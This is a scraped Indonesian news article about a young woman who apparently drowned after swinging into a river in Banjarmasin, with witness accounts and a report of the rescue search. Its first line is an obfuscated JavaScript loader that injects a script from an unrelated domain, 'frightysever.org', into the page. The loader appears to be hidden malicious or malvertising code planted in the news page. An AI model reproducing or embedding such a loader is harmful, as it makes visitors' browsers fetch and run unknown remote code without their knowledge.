(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Teriakan seorang perempuan di bawah jembatan menggegerkan warga Jalan Soetoyo S, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Selasa (21/3/2023) malam.
Persis di sebelah Jembatan PHB Kota Banjarmasin, seorang remaja perempuan diduga tenggelam usai main ayunan di area siring sungai.
Sejumlah relawan pun berdatangan ke lokasi untuk memastikan kejadian tersebut.
Melalui keterangan saksi, tiga sampai empat orang warga diketahui mendengar suara teriakan perempuan itu usai adzan magrib.
Baca juga: Bendungan Riam Kiwa Mulai Dibangun Akhir 2023
“Kira-kira saat orang mulai shalat tiba-tiba ada suara perempuan berteriak, langsung kami cek tapi gak sampai satu menit kami sampai gak ada tanda-tanda orang bercebur atau apa cuma mendengar suaranya saja, cuma dipastikan suara perempuan,” ucap Zainudin, anggota Babinsa, Selasa (21/3/2023) malam.
Dugaan tenggelamnya remaja perempuan tersebut diperkuat adanya pernyataan saksi warga setempat, yang sempat melihat seseorang bermain ayunan dengan cukup keras ke arah sungai.
“Titiknya di ayunan ini saya melihat ada orang berayun laju sekali sampai terlempar jauh, pas sekali itu saya mau shalat ke Masjid Nurul Islam,” ungkap Dewi Santi (32), warga setempat yang sempat melihat korban sebelum diduga tenggelam.
Mengenai identitasnya, Dewi mengaku, dirinya hanya melihat jika orang yang berayun tersebut memiliki badan yang besar dan berambut seleher.
Baca juga: Kalapas Amuntai Imbau Warga Binaan Perbanyak Ibadah saat Ramadhan
Dewi pun semakin yakin jika orang yang ia lihat berayun itu benar tenggelam lantaran satu suara dengan pernyataan saksi lain.
“Setelah saya shalat kan balik lagi ke daerah itu dan melihat orang sudah ramai, maka saya tanya ada apa lalu katanya ada suara perempuan teriak katanya,” jelasnya.
Terlebih saat dirinya kembali mendatangi lokasi kejadian untuk kedua kalinya, didapati seorang yang berayun itu sudah tidak ada dan hanya ada kerumunan warga.
“Saat pertama kali melihat itu saya seketika memperhatikan karena memang ayunannya sangat laju, tapi karena mau shalat jadi gak mencoba mendatangi,” imbuhnya.
Sementara itu Zainal Abidin, relawan setempat juga mengungkapkan hal yang senada dengan para saksi.
Baca juga: Umat Hindu di Kalsel Rayakan Hari Suci Nyepi, Melasti di Pantai hingga Catur Brata Penyepian di Pura
“Kita sudah pastikan titik nol dan para saksi untuk sementara saksi mengatakan korban sempat bermain ayunan namun masih belum diketahui apakah perempuan atau laki-laki, tapi sementara diperkiran remaja umur 20 tahunan,” jelas Zainal Abidin, salah seorang relawan emergency setempat.
Hingga saat ini diketahui, sejumlah relawan emergecy bersama BPBD Kota Banjarmasin dan relawan water rescue telah turun ke sungai dan masih melakukan penyisiran. (kanalkalimantan.com/wanda)
Reporter: wanda
Editor: cell
KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More
KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More
KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More
KANALKALIMANTAN.COM, MARTAPURA - Penentuan desa-desa sebagai penerima bantuan sosial program Penyediaan Air Minum dan Sanitasi… Read More
This website uses cookies.